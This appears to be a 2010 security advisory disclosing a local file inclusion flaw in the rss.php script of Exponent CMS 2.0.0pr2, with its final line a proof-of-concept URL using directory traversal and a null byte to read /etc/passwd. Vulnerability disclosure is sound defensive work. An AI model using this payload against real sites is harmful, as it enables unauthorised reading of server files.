LFI in Exponent CMS

2010-12-08T00:00:00
ID SECURITYVULNS:DOC:25256
Type securityvulns
Reporter Securityvulns
Modified 2010-12-08T00:00:00

Description

Vulnerability ID: HTB22718 Reference: http://www.htbridge.ch/advisory/lfi_in_exponent_cms_1.html Product: Exponent CMS Vendor: http://www.exponentcms.org/ ( http://www.exponentcms.org/ ) Vulnerable Version: 2.0.0pr2 Vendor Notification: 22 November 2010 Vulnerability Type: Local File Inclusion Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: The vulnerability exists due to failure in the "/rss.php" script to properly sanitize user-supplied input in module variable.

The following PoC is available:

http://exponent/rss.php?module=../../../../../../../etc/passwd%00